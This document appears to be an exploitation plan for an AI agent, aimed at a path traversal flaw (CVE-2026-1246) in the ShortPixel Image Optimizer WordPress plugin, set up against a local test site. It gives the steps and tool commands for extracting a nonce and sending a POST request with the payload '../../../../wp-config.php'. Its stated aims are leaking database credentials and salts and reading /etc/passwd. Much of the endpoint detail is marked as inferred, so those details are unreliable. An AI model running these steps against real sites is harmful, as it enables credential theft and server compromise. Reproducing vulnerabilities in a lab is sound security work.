Exploitation Research Plan: CVE-2026-1246 - ShortPixel Image Optimizer Path Traversal

1. Vulnerability Summary

The ShortPixel Image Optimizer plugin (up to version 6.4.2) contains an arbitrary file read vulnerability. The issue exists in the AJAX handler for the loadLogFile action. The plugin fails to validate or sanitize the loadFile parameter, which is used to specify a file path for reading log contents. An authenticated user with Editor privileges or higher can use path traversal sequences (e.g., ../../) to read sensitive files outside of the intended directory, such as wp-config.php.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: shortpixel_load_log (inferred) or shortpixel_load_log_file (inferred)
• Vulnerable Parameter: loadFile
• Authentication: Required (Editor role or higher)
• HTTP Method: POST
• Payload Type: Path traversal string (e.g., ../../../../wp-config.php)

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX action for authenticated users via add_action('wp_ajax_shortpixel_load_log', ...).
2. Handler Function: The registered callback (likely loadLogFile or similar in a controller class) is invoked.
3. Parameter Extraction: The code retrieves the file path from $_POST['loadFile'].
4. Insecure Operation: The code passes this unsanitized path directly into a file-reading function like file_get_contents() or readfile().
5. Sink: The contents of the file are echoed back to the user in the AJAX response.
6. Missing Check: There is no check to ensure the path resides within the plugin's log directory or that traversal characters are removed.

4. Nonce Acquisition Strategy

The AJAX request will require a WordPress nonce for authorization. ShortPixel typically localizes its settings and nonces into a JavaScript object.

1. Identify Trigger Page: The log loading functionality is usually found on the ShortPixel settings page: /wp-admin/options-general.php?page=wp-shortpixel-settings.
2. Access Page: Log in as an Editor and navigate to the settings page.
3. Extract Nonce: Use browser_eval to find the nonce in the localized JS object.
   • Inferred JS Object: ShortPixelData or spio_data.
   • Inferred Nonce Key: nonce, _wpnonce, or shortpixel_nonce.
   • Command: browser_eval("window.ShortPixelData?.nonce") or browser_eval("window.spio_vars?.nonce").
4. Manual Fallback: If the JS object is unknown, search the page source for "nonce" within <script> tags related to ShortPixel.

5. Exploitation Strategy

Step 1: Create an Editor User

Use WP-CLI to create a user with the Editor role to simulate the required privilege level.

wp user create attacker attacker@example.com --role=editor --user_pass=password123

Step 2: Obtain Authentication Cookies

Use the http_request or browser_navigate tool to log in as the attacker user and capture the session cookies.

Step 3: Extract Nonce

Navigate to the ShortPixel settings page and extract the nonce using browser_eval.

• URL: http://localhost:8080/wp-admin/options-general.php?page=wp-shortpixel-settings
• JS Check: browser_eval("window.ShortPixelData")

Step 4: Execute Path Traversal

Send a POST request to admin-ajax.php with the traversal payload.

• Request URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: shortpixel_load_log (inferred - confirm via grep -r "wp_ajax_shortpixel")
  • nonce: [EXTRACTED_NONCE]
  • loadFile: ../../../../wp-config.php

6. Test Data Setup

1. Plugin State: Ensure shortpixel-image-optimiser version <= 6.4.2 is installed and activated.
2. Configuration: The plugin may need to be "initialized" (API key added) to access the settings page, though the AJAX endpoint often exists regardless.
3. Target File: Ensure wp-config.php exists in the standard WordPress root.

7. Expected Results

• Successful Exploit: The HTTP response body contains the raw PHP source code of wp-config.php, including DB_NAME, DB_USER, DB_PASSWORD, and authentication salts.
• Response Code: 200 OK.
• Content Type: Likely text/plain or text/html.

8. Verification Steps

1. Check Response Body: Look for the string define( 'DB_NAME' in the response from the http_request tool.
2. Compare Content: Run cat /var/www/html/wp-config.php via terminal and compare the output to the AJAX response to confirm full file disclosure.

9. Alternative Approaches

• Payload Variations:
  • If ../../../../wp-config.php fails, try absolute paths: /var/www/html/wp-config.php.
  • Try different file targets: /etc/passwd or wp-includes/version.php.
• Action Name Discovery:
  If shortpixel_load_log is incorrect, run this command in the plugin directory:

  grep -r "wp_ajax_" .
  

  Search specifically for handlers that contain "log" or "file".
• Parameter Name Discovery:
  If loadFile is incorrect, search the handler function body for $_POST or $_REQUEST keys:

  grep -r "\$_POST" . | grep "log"